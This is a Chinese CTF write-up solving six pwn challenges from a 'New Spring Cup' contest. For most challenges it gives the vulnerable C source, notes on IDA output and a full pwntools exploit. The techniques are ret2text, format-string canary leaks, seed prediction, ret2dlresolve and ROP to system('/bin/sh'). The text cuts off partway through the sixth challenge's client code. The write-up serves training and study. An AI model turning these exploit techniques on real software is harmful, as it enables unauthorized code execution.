新春杯CTF Pwn题目全解析与Exploit实战指南
根据源码了解pwn的常见的框架的编写
新春杯pwn全解
题目链接
通过网盘分享的文件:新春杯.zip
链接: https://pan.baidu.com/s/1B5P8KFIG8IHbJiCT4ptIpw?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员v4的分享
附件打不通的话可以手动再去编译一份
结合这段时间的学习历程,题目类型有单纯利用技巧,有逆向审计,也有框架模版考核
pwn1:aes-128
用一个送分当签到,补充一下aes加密的基础性的概念
这个的话是一个基本的加密的绕过
AES-128 单个 16 字节分组的 ECB 形式加密
轮密钥由主密钥通过 RotWord + S 盒(SubWord) + Rcon + XOR 迭代生成;S 盒是固定表,但它既用于加密的 SubBytes,也用于密钥扩展的 SubWord
首先是直接写死了S盒,不依赖key,也不依赖轮秘钥
key(主密钥):你一开始给的那 16/24/32 字节密钥
轮密钥(round keys):从主密钥“扩展/派生”出来、每一轮加密要用的子密钥
主密钥 key:16 字节
轮数:10 轮
需要轮密钥:11 份(round0 ~ round10,每轮 16 字节)
所以扩展后的总轮密钥
ek:11 × 16 = 176 字节
然后进行AddRoundKey、SubBytes、ShiftRows、MixColumns
题目源码
#include <stdio.h>
#include <stdint.h>
void shell(){
system("/bin/sh");
}
static const uint8_t sbox[256] = {
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};
static uint8_t xtime(uint8_t x){ return (uint8_t)((x<<1) ^ ((x & 0x80) ? 0x1B : 0)); }
static void AddRoundKey(uint8_t s[4][4], const uint8_t *rk){
for(int c=0;c<4;c++) for(int r=0;r<4;r++) s[r][c] ^= rk[c*4 + r];
}
static void SubBytes(uint8_t s[4][4]){
for(int r=0;r<4;r++) for(int c=0;c<4;c++) s[r][c] = sbox[s[r][c]];
}
static void ShiftRows(uint8_t s[4][4]){
uint8_t t;
t=s[1][0]; s[1][0]=s[1][1]; s[1][1]=s[1][2]; s[1][2]=s[1][3]; s[1][3]=t;
t=s[2][0]; uint8_t t2=s[2][1]; s[2][0]=s[2][2]; s[2][1]=s[2][3]; s[2][2]=t; s[2][3]=t2;
t=s[3][3]; s[3][3]=s[3][2]; s[3][2]=s[3][1]; s[3][1]=s[3][0]; s[3][0]=t;
}
static void MixColumns(uint8_t s[4][4]){
for(int c=0;c<4;c++){
uint8_t a0=s[0][c], a1=s[1][c], a2=s[2][c], a3=s[3][c];
uint8_t m2a0=xtime(a0), m2a1=xtime(a1), m2a2=xtime(a2), m2a3=xtime(a3);
uint8_t m3a0=(uint8_t)(m2a0 ^ a0), m3a1=(uint8_t)(m2a1 ^ a1), m3a2=(uint8_t)(m2a2 ^ a2), m3a3=(uint8_t)(m2a3 ^ a3);
s[0][c] = (uint8_t)(m2a0 ^ m3a1 ^ a2 ^ a3);
s[1][c] = (uint8_t)(a0 ^ m2a1 ^ m3a2 ^ a3);
s[2][c] = (uint8_t)(a0 ^ a1 ^ m2a2 ^ m3a3);
s[3][c] = (uint8_t)(m3a0 ^ a1 ^ a2 ^ m2a3);
}
}
static void KeyExpansion128(const uint8_t key[16], uint8_t ek[176]){
// ek: 11 round keys * 16 bytes
for(int i=0;i<16;i++) ek[i] = key[i];
uint8_t rcon = 0x01;
int bytes = 16;
while(bytes < 176){
uint8_t t0=ek[bytes-4], t1=ek[bytes-3], t2=ek[bytes-2], t3=ek[bytes-1];
if(bytes % 16 == 0){
// RotWord
uint8_t tmp=t0; t0=t1; t1=t2; t2=t3; t3=tmp;
// SubWord
t0=sbox[t0]; t1=sbox[t1]; t2=sbox[t2]; t3=sbox[t3];
// Rcon
t0 ^= rcon;
rcon = xtime(rcon);
}
ek[bytes+0] = (uint8_t)(ek[bytes-16+0] ^ t0);
ek[bytes+1] = (uint8_t)(ek[bytes-16+1] ^ t1);
ek[bytes+2] = (uint8_t)(ek[bytes-16+2] ^ t2);
ek[bytes+3] = (uint8_t)(ek[bytes-16+3] ^ t3);
bytes += 4;
}
}
static void AES128_EncryptBlock(const uint8_t in[16], uint8_t out[16], const uint8_t ek[176]){
uint8_t s[4][4];
for(int c=0;c<4;c++) for(int r=0;r<4;r++) s[r][c] = in[c*4 + r]; // column-major
AddRoundKey(s, ek); // round 0
for(int round=1; round<=9; round++){
SubBytes(s); ShiftRows(s); MixColumns(s);
AddRoundKey(s, ek + round*16);
}
SubBytes(s); ShiftRows(s); // last round (no MixColumns)
AddRoundKey(s, ek + 10*16);
for(int c=0;c<4;c++) for(int r=0;r<4;r++) out[c*4 + r] = s[r][c];
}
int main(void){
// 改这里:key 和 pt 都是 16 字节(一个块)
uint8_t key[16] = { // 000102...0f
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f
};
uint8_t pt[16] = { // 001122...ff
0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,0x99,0xaa,0xbb,0xcc,0xdd,0xee,0xff
};
uint8_t ek[176], ct[16];
KeyExpansion128(key, ek);
AES128_EncryptBlock(pt, ct, ek);
// 读取用户输入的期望密文(32 hex)
char expected[64];
while(1){
printf("input expected ciphertext (32 hex): ");
if(!fgets(expected, sizeof(expected), stdin)) return 1;
expected[strcspn(expected, "\r\n")] = 0; // 去掉换行
// 把 ct 转成 hex 字符串 got
char got[33];
for(int i=0;i<16;i++) sprintf(got + i*2, "%02x", ct[i]);
got[32] = '\0';
// 比较
if (strcmp(got, expected) == 0) {
printf("SUCCESS: match!\n");
shell();
} else {
puts("FAIL: not match.");
}
}
return 0;
}我们拖进ida里面看的话会对aes这个架构清晰不少
这里首先构造轮秘钥,然后加密原文
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n15; // [rsp+Ch] [rbp-164h]
_QWORD v5[2]; // [rsp+10h] [rbp-160h] BYREF
_QWORD v6[2]; // [rsp+20h] [rbp-150h] BYREF
char v7[16]; // [rsp+30h] [rbp-140h] BYREF
char s1[48]; // [rsp+40h] [rbp-130h] BYREF
char s[64]; // [rsp+70h] [rbp-100h] BYREF
_BYTE v10[184]; // [rsp+B0h] [rbp-C0h] BYREF
unsigned __int64 v11; // [rsp+168h] [rbp-8h]
v11 = __readfsqword(0x28u);
v5[0] = 0x706050403020100LL;
v5[1] = 0xF0E0D0C0B0A0908LL;
v6[0] = 0x7766554433221100LL;
v6[1] = 0xFFEEDDCCBBAA9988LL;
KeyExpansion128(v5, v10);
AES128_EncryptBlock(v6, v7, v10);
while ( 1 )
{
printf("input expected ciphertext (32 hex): ");
if ( !fgets(s, 64, _bss_start) )
break;
s[strcspn(s, "\r\n")] = 0;
for ( n15 = 0; n15 <= 15; ++n15 )
sprintf(&s1[2 * n15], "%02x", (unsigned __int8)v7[n15]);
s1[32] = 0;
if ( !strcmp(s1, s) )
{
puts("SUCCESS: match!");
shell();
}
else
{
puts("FAIL: not match.");
}
}
return 1;
}python里面有对应的专用库
安转的指令如下
python -m pip install -U pycryptodomeexp
这里的python库直接有对应的解密的方法。
from Crypto.Cipher import AES
import binascii
# 固定密钥和明文(与 C 代码一致)
key = bytes([0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f])
plaintext = bytes([0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,
0x88,0x99,0xaa,0xbb,0xcc,0xdd,0xee,0xff])
# 执行 AES-128 ECB 加密(无 padding,因为正好 16 字节)
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(plaintext)
# 转为小写 hex 字符串(32 字符)
expected_hex = binascii.hexlify(ciphertext).decode('utf-8').lower()
print("Correct ciphertext (32 hex):", expected_hex)
print("\nYou can input this to get a shell in the C program.")
#69c4e0d86a7b0430d8cdb78070b4c55a远程还是卡输出,问题不大,能出flag就行
pwn2:ret2text-签到
这个题目是我之前出的一个题目,需要绕过glibc中free函数的检查
确保是一个指向合法地址的指针即可,避免检查chunk结构出现错误
题目源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
printf("backdoor called\n");
system("/bin/sh");
}
void vuln(){
char buf[0x40];
void *p = malloc(0x100);
printf("chunk_addr: %p\n",p);
read(0,p,0x1000);
memcpy(buf,p,0x100);
free(p);
}
void init(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
}
void gift() {
__asm__(
"pop %rdi\n"
"ret\n"
);
}
int main(){
init();
char buf[0x40];
char *p = malloc(0x100);
puts("input your name:");
read(0,buf,0x40);
puts("input your pasword:");
read(0,p,0x100);
if(strcmp(buf,"admin")==0&&strcmp(p,"123456")==0){
puts("login success!");
vuln();
}else{
puts("login failed!");
}
}exp
from pwn import *
io = process('./pwn')
#io = remote("175.27.251.122",33052)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
rt = lambda x: io.recvuntil(x)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
rt("input your name:")
s("admin")
rt("input your pasword:")
s("123456")
rt('\n')
rt('\n')
rt('0x')
heap = int(io.recv(12),16)
print("heap:",hex(heap))
ret = 0x401254
bd = 0x401236
pd = flat(ret)
pd += b'a'*0x40
pd += flat(ret,ret,ret,bd)
#gdb.attach(io,"b *0x4012B3")
s(pd)
io.interactive()pwn3:noputs
出的第一个题目,一开始单纯出一个,后来多加上一个伪随机数绕过
这里我们用随机化种子,这个<time.h>库来进行初始化种子绕过一下验证
然后我想了想,那个bug可能还存在,我发现这个系统调用的调用就很神奇
printf不能单纯被禁用,只能通过write禁用printf
加上泄露之后的和是下面这个源码,这里的编译的时候注意-lseccomp这个指令
题目源码
#include <stdio.h>
#include <time.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <unistd.h>
void init(){
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stdin,NULL,_IONBF,0);
}
void gift(){
char buf[0x5];
read(0,buf,0x5);
printf(buf);
}
void box(){
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
scmp_filter_ctx c = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(c, SCMP_ACT_ERRNO(1), SCMP_SYS(write), 1, SCMP_A0(SCMP_CMP_EQ, 1));
seccomp_rule_add(c, SCMP_ACT_ERRNO(1), SCMP_SYS(writev), 1, SCMP_A0(SCMP_CMP_EQ, 1));
seccomp_load(c);
}
int verify(char *lock){
char buf[0x10];
memset(buf,0,0x10);
int sign;
read(0,buf,0x10);
sign = strcmp(lock,buf);
if(sign){
exit(1);
}
}
void shell(){
system("/bin/sh");
}
int main(){
init();
gift();
box();
srand(time(NULL));
int num = rand() % 100;
char lock[0x10];
memset(lock,0,0x10);
snprintf(lock, sizeof(lock), "%d", num);
verify(lock);
char buf[0x30];
read(0, buf, 0x200);
return 0;
}exp
思路的话也不是很难,加载一下libc库初始化种子绕过验证,然后用ret2dlresolve这个利用模版套一下就行了
高版本编译没有这些片段,我们需要用低版本(22以下)的重新编译一次
指令的查询的方式如下
ROPgadget --binary noputs --only "pop|ret"之后的话是利用延迟绑定机制的漏洞了
泄露一下canary,然后绕过随机数,最后利用延迟绑定机制获取shell即可。
from pwn import *
import ctypes
import time
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./noputs')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
io = process('./noputs')
pd = b'%7$p'
io.send(pd)
# 加载系统 libc(与目标程序相同)
libc2 = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
# 获取当前时间戳(与 C 中 time(0) 一致)
seed = int(time.time())
# 设置相同种子
libc2.srand(ctypes.c_uint(seed))
gdb.attach(io)
#sleep(1)
canary = int(io.recv(18).decode(), 16)
print(hex(canary))
# 生成第一个 rand() % 100,与 C 程序中的 v5 完全一致
rand_num = libc2.rand() % 100
io.send(str(rand_num).encode())
pop_rdi_ret = 0x00000000004016d3
pop_rsi_r15_ret = 0x00000000004016d1
ret = 0x000000000040101a
fake_link_map_addr = 0x404a00
def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
#the address of each fake pointer
fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)#这里的值就是伪造的.rel.plt的地址
#fake structure
fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
# JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
r_offset = fake_link_map_addr - l_addr
fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
#fake_link_map
fake_link_map =p64(l_addr&(2**64-1))# 0x8
fake_link_map+=fake_Elf64_Dyn_SYM # 0x18
fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
fake_link_map+=fake_Elf64_rela # 0x40
fake_link_map+=b"\x00"*0x28 # 0x68
fake_link_map+=fake_Elf64_Dyn_STR_addr # STRTAB pointer,0x70
fake_link_map+=fake_Elf64_Dyn_SYM_addr # SYMTAB pointer,0x78
fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
fake_link_map+=fake_Elf64_Dyn_JMPREL_addr # JMPREL pointer
return fake_link_map
plt0 = elf.get_section_by_name('.plt').header.sh_addr
pr(plt0)#401020
pr(elf.plt['read'])
l_addr=libc.sym['system'] - libc.sym['read']
st_value=elf.got['read']
fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
payload = b'a'*0x38 +p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
payload += p64(ret) + p64(pop_rdi_ret) + p64(fake_link_map_addr+0x78) + p64(plt0+6) + p64(fake_link_map_addr) + p64(0)
#gdb.attach(io)
sleep(2)
io.send(payload)
pause()
io.send(fake_link_map)
io.interactive()但是这个题目的远程的维护也需要
pwn4:snake_manager
一开始想模仿那个题目出个双向链表的国际赛题来着,结果发现短时间出不出来,就简化成了一个很简单的登录的问题。
题目源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ncurses.h>
#include <fcntl.h>,
#define WIDTH 40
#define HEIGHT 20
#define STOP 0
#define LEFT 1
#define RIGHT 2
#define UP 3
#define DOWN 4
#define password_len 16
typedef struct {
int x;
int y;
}Point;
Point snake[0x100];
int length;
int foodX, foodY;
int direction;
int gameOver;
int score;
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
void init(){
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stdin,NULL,_IONBF,0);
}
void menu(){
printf("welcome to the game");
puts("1.start game");
puts("2.login admin");
}
void setup(){
gameOver = 0;
direction = STOP;
snake[0].x = WIDTH/2;
snake[0].y = HEIGHT/2;
length = 4;
score = 0;
foodX = rand() % WIDTH;
foodY = rand() % HEIGHT;
}
void draw(){
clear();
for(int i=0;i<WIDTH+2;i++) mvprintw(0,i,"#");
for(int i=0;i<HEIGHT;i++){
for(int j=0;j<WIDTH;j++){
if(j==0) mvprintw(i+1,j,"#");
//打印蛇头
if(i==snake[0].y && j==snake[0].x){
mvprintw(i+1,j+1,"O");
}
else{
//打印蛇身和食物
int isBody = 0;
for(int k=1;k<length;k++){
if(i == snake[k].y && j == snake[k].x){
mvprintw(i+1,j+1,"o");
isBody = 1;
break;
}
}
if(!isBody&&i==foodY && j==foodX){
mvprintw(i+1,j+1,"F");
}
else if(!isBody){
mvprintw(i+1,j+1," ");
}
}
//右边界
if(j==WIDTH-1) mvprintw(i+1,j+1,"#");
}
}
//下边界
for(int i=0;i<WIDTH+2;i++) mvprintw(HEIGHT+1,i,"#");
mvprintw(HEIGHT+2,0,"Score: %d",score);
mvprintw(HEIGHT+3,0,"Press 'q' to quit");
}
int logic(){
int prevX = snake[0].x;
int prevY = snake[0].y;
int prev2X, prev2Y;
switch(direction){
case LEFT:
snake[0].x--;
break;
case RIGHT:
snake[0].x++;
break;
case UP:
snake[0].y--;
break;
case DOWN:
snake[0].y++;
break;
defult:
return;
}
//检查是否撞墙
if(snake[0].x >= WIDTH || snake[0].x < 0 || snake[0].y >= HEIGHT || snake[0].y < 0){
gameOver = 1;
}
//检查是否咬到自己
char buf[0x30];
for(int i=1;i<length;i++){
if(snake[0].x == snake[i].x && snake[0].y == snake[i].y) {
gameOver = 1;
break;
}
//检查是否吃到食物
if(snake[0].x == foodX && snake[0].y == foodY){
score += 10;
foodX = rand() % WIDTH;
foodY = rand() % HEIGHT;
length++;
}
//移动蛇身
for(int i=1;i<length;i++){
prev2X = snake[i].x;
prev2Y = snake[i].y;
snake[i].x = prevX;
snake[i].y = prevY;
prevX = prev2X;
prevY = prev2Y;
}
}
}
int game(){
initscr();
init();
noecho();
curs_set(0);
timeout(1000);
keypad(stdscr,TRUE);
setup();
while(!gameOver){
draw();
int ch = getch();
switch(ch){
case KEY_LEFT:
if(direction != RIGHT) direction = LEFT;
break;
case KEY_RIGHT:
if(direction != LEFT) direction = RIGHT;
break;
case KEY_UP:
if(direction != DOWN) direction = UP;
break;
case KEY_DOWN:
if(direction != UP) direction = DOWN;
break;
case 'q':
gameOver = 1;
break;
}
logic();
}
mvprintw(HEIGHT/2,WIDTH/2-5,"Game Over!");
mvprintw(HEIGHT/2+1,WIDTH/2-7,"Final Score: %d",score);
refresh();
sleep(2);
endwin();
return 0;
}
char crypto[0x30];
int main(){
int sign;
int time = 1;
init();
int fd = open("/dev/urandom", O_RDONLY);
if (fd == -1) {
perror("Failed to open /dev/urandom");
return 1;
}
unsigned char rand_buf[password_len];
if (read(fd, rand_buf, password_len) != password_len) {
perror("Failed to read from /dev/urandom");
close(fd);
return 1;
}
close(fd);
for (int i = 0; i < password_len; i++) {
crypto[i] = charset[rand_buf[i] % (sizeof(charset) - 1)];
}
crypto[password_len] = '\0';
while(1){
char *name = malloc(0x20);
char *password = malloc(0x20);
size_t heap_list[0x2];
heap_list[0]= (size_t)name;
heap_list[1]= (size_t)password;
menu();
char choice;
printf("> ");
scanf(" %c",&choice);
getchar(); // 吸收换行符
if(choice == '1'){
game();
}
else if(choice == '2'){
puts("Enter admin name:");
printf("> ");
fgets(name,32,stdin);
name[strcspn(name, "\n")] = 0; // 去除换行符
heap_list[0]= (size_t)name;
if(strcmp(heap_list[0],"admin")!=0){
puts("No such user.");
exit(1);
}
puts("Enter admin password:");
printf("> ");
fgets(password,32,stdin);
heap_list[1]= (size_t)password;
password[strcspn(password, "\n")] = 0; // 去除换行符
if(strcmp(heap_list[1],crypto)==0){
puts("Welcome, admin!");
sign = 1;
}else{
puts("Incorrect password.");
printf("The correct password is: %s\n", crypto);
free(name);
free(password);
}
if(sign){
char buf[64];
puts("Enter your command:");
read(0,buf,128);
system(buf);
}
}
else{
puts("Invalid choice.");
return 0;
}
}
}exp
from pwn import *
context.log_level = 'debug'
io = process('./server')
def cmd(choice):
io.recvuntil(b'> ')
io.sendline(str(choice).encode())
def login(name, password):
io.recvuntil(b'Enter admin name:\n> ')
io.sendline(name)
io.recvuntil(b'Enter admin password:\n> ')
io.sendline(password)
cmd(2)
login(b'admin', b'12345')
io.recvuntil("The correct password is: ")
pasd = io.recvline().strip()
print(f"Correct password is: {pasd.decode()}")
cmd(2)
login(b'admin', pasd)
io.send('cat flag\n')
io.interactive()pwn5:snake_game
这里我们设计一个功能程序,手搓一个贪吃蛇的c程序,在最后退出的时候构造溢出
这里键盘交互需要注意
gcc -fno-stack-protector
-z execstack
-no-pie -fno-PIE
-Wl,-z,norelro
-D_FORTIFY_SOURCE=0
-O0
-erroverflow.c -o overflow题目源码
#include <stdlib.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ncurses.h>
#include <string.h>
#define WIDTH 40
#define HEIGHT 20
#define STOP 0
#define LEFT 1
#define RIGHT 2
#define UP 3
#define DOWN 4
typedef struct {
int x;
int y;
}Point;
Point snake[0x100];
int length;
int foodX, foodY;
int direction;
int gameOver;
int score;
void init(){
setvbuf(stderr, 0, 2, 0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stdin,NULL,_IONBF,0);
}
void setup(){
gameOver = 0;
direction = STOP;
snake[0].x = WIDTH/2;
snake[0].y = HEIGHT/2;
length = 4;
score = 0;
foodX = rand() % WIDTH;
foodY = rand() % HEIGHT;
}
void draw(){
clear();
for(int i=0;i<WIDTH+2;i++) mvprintw(0,i,"#");
for(int i=0;i<HEIGHT;i++){
for(int j=0;j<WIDTH;j++){
if(j==0) mvprintw(i+1,j,"#");
//打印蛇头
if(i==snake[0].y && j==snake[0].x){
mvprintw(i+1,j+1,"O");
}
else{
//打印蛇身和食物
int isBody = 0;
for(int k=1;k<length;k++){
if(i == snake[k].y && j == snake[k].x){
mvprintw(i+1,j+1,"o");
isBody = 1;
break;
}
}
if(!isBody&&i==foodY && j==foodX){
mvprintw(i+1,j+1,"F");
}
else if(!isBody){
mvprintw(i+1,j+1," ");
}
}
//右边界
if(j==WIDTH-1) mvprintw(i+1,j+1,"#");
}
}
//下边界
for(int i=0;i<WIDTH+2;i++) mvprintw(HEIGHT+1,i,"#");
mvprintw(HEIGHT+2,0,"Score: %d",score);
mvprintw(HEIGHT+3,0,"Press 'q' to quit");
}
void gift1(){
asm("pop rdi; ret;");
}
void gift2(){
char buf[0x5];
read(0,buf,0x5);
printf(buf);
}
void logic(){
int prevX = snake[0].x;
int prevY = snake[0].y;
int prev2X, prev2Y;
switch(direction){
case LEFT:
snake[0].x--;
break;
case RIGHT:
snake[0].x++;
break;
case UP:
snake[0].y--;
break;
case DOWN:
snake[0].y++;
break;
defult:
return;
}
//检查是否撞墙
if(snake[0].x >= WIDTH || snake[0].x < 0 || snake[0].y >= HEIGHT || snake[0].y < 0){
gameOver = 1;
}
//检查是否咬到自己
char buf[0x30];
for(int i=1;i<length;i++){
if(snake[0].x == snake[i].x && snake[0].y == snake[i].y) {
puts("Any last words?");
endwin();
gameOver = 1;
fgets(buf,0x100,stdin);
break;
}
if(snake[0].x == snake[i].x && snake[0].y == snake[i].y){
char buf2[0x10];
memcpy(buf2,buf,0x100);
}
}
//检查是否吃到食物
if(snake[0].x == foodX && snake[0].y == foodY){
score += 10;
foodX = rand() % WIDTH;
foodY = rand() % HEIGHT;
length++;
}
//移动蛇身
for(int i=1;i<length;i++){
prev2X = snake[i].x;
prev2Y = snake[i].y;
snake[i].x = prevX;
snake[i].y = prevY;
prevX = prev2X;
prevY = prev2Y;
}
}
int main(){
init();
gift2();
sleep(2);
initscr();
noecho();
curs_set(0);
timeout(1000);
keypad(stdscr,TRUE);
setup();
while(!gameOver){
draw();
int ch = getch();
switch(ch){
case KEY_LEFT:
if(direction != RIGHT) direction = LEFT;
break;
case KEY_RIGHT:
if(direction != LEFT) direction = RIGHT;
break;
case KEY_UP:
if(direction != DOWN) direction = UP;
break;
case KEY_DOWN:
if(direction != UP) direction = DOWN;
break;
case 'q':
gameOver = 1;
break;
}
logic();
}
mvprintw(HEIGHT/2,WIDTH/2-5,"Game Over!");
mvprintw(HEIGHT/2+1,WIDTH/2-7,"Final Score: %d",score);
refresh();
sleep(2);
endwin();
return 0;
}这个题目编译方式如下
gcc -no-pie snake.c -o snake -lseccomp -lncurses -masm=intelexp
这里需要注意一下交互的前后关系
这个用栈迁移也可以的,可以更加自主的控制栈帧,尤其是对于不知道落脚的题目也是有不错的效果的
这里我关闭了偏移去做的,不关闭的libc需要调整一下去接收数据
from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
io = process("./pwn", stdin=PTY, stdout=PTY, env={"TERM":"xterm-256color"})
libc = './libc.so.6'
pd = b'%7$p'
io.sendline(pd)
gdb.attach(io,"b *0x401A5A")
elf = ELF("./pwn")
canary = int(io.recv(18),16)
io.recv(timeout=0.2)
log.success("canary: "+hex(canary))
seq = [b"\x1bOC", b"\x1bOB", b"\x1bOD", b"\x1bOA"]
for s in seq:
io.send(s)
time.sleep(0.1)
buf = b""
deadline = time.time() + 5
while time.time() < deadline:
chunk = io.recv(timeout=0.2)
if not chunk:
continue
buf += chunk
if b"Any last words?" in buf:
log.success("saw Any last words?")
break
pd = b'a'*0x38 + p64(canary) + b'a'*8 + p64(0x4016EE) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x401875)
pause()
io.sendline(pd)
lib = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
print(hex(lib))
pd = b'a'*0x38 + p64(canary) + b'a'*8 + p64(lib+next(libc.search(asm('ret'))))+p64(lib+next(libc.search(asm('pop rdi; ret')))) +p64(lib+next(libc.search(b'/bin/sh'))) + p64(lib+libc.sym['system'])
io.interactive()pwn6:server&&client
这个题目写一个基础的多程序的联动的题目,其实一开始单纯一个溢出,想了想,又加上了一个格式化字符串的考点。
这个题目套接字是需要不断断开和连接的,不能仅仅去建立连接,要不后续就不能通讯了,这个特点是通过调试发现的。
这里补充一下数据的接收,%p是多了一步转化,所以用ri,%s没有转化文本,所以是ru
而这个题目是输出的ascii的文本,所以是需要特别去处理的,正常情况是不会出现这种情况的
ru:解析“二进制字节流” → 按小端拼成 64-bit 数(地址泄露常用)
ri:解析“十六进制文本” → 把 ASCII hex 转成整数(打印 leak 常用)题目源码
客户端程序的代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#define PORT 8080
#define BUF 1024
void menu() {
puts("1. Leak something (format string test)");
puts("2. Send binary exploit / interact with server");
puts("3. Exit");
}
int connect_to_server() {
int fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
return -1;
}
struct sockaddr_in a;
memset(&a, 0, sizeof(a));
a.sin_family = AF_INET;
a.sin_port = htons(PORT);
inet_pton(AF_INET, "127.0.0.1", &a.sin_addr);
if (connect(fd, (struct sockaddr*)&a, sizeof(a)) < 0) {
perror("connect");
close(fd);
return -1;
}
return fd;
}
int main() {
int choice;
while (1) {
menu();
printf("Your choice: ");
if (scanf("%d%*c", &choice) != 1) {
printf("Invalid input.\n");
continue;
}
if (choice == 1) {
int fd = connect_to_server();
if (fd < 0) continue;
// 读欢迎消息
char buf[BUF];
int n = recv(fd, buf, BUF - 1, 0);
if (n > 0) {
buf[n] = '\0';
printf("%s", buf);
}
char payload[0x100];
printf("Enter format string payload: ");
if (fgets(payload, sizeof(payload), stdin) == NULL) {
close(fd);
continue;
}
size_t len = strlen(payload);
if (len > 0 && payload[len - 1] == '\n') payload[len - 1] = '\0';
send(fd, payload, strlen(payload), 0);
n = recv(fd, buf, BUF - 1, 0);
if (n > 0) {
printf("[Leaked data (hex)]: ");
for (int i = 0; i < n; i++) {
printf("%02x ", (unsigned char)buf[i]);
}
printf("\n");
} else {
printf("[No response or connection closed]\n");
}
close(fd);
} else if (choice == 2) {
int fd = connect_to_server();
if (fd < 0) continue;
// 读欢迎消息
char buf[BUF];
int n = recv(fd, buf, BUF - 1, 0);
if (n > 0) {
buf[n] = '\0';
printf("%s", buf);
}
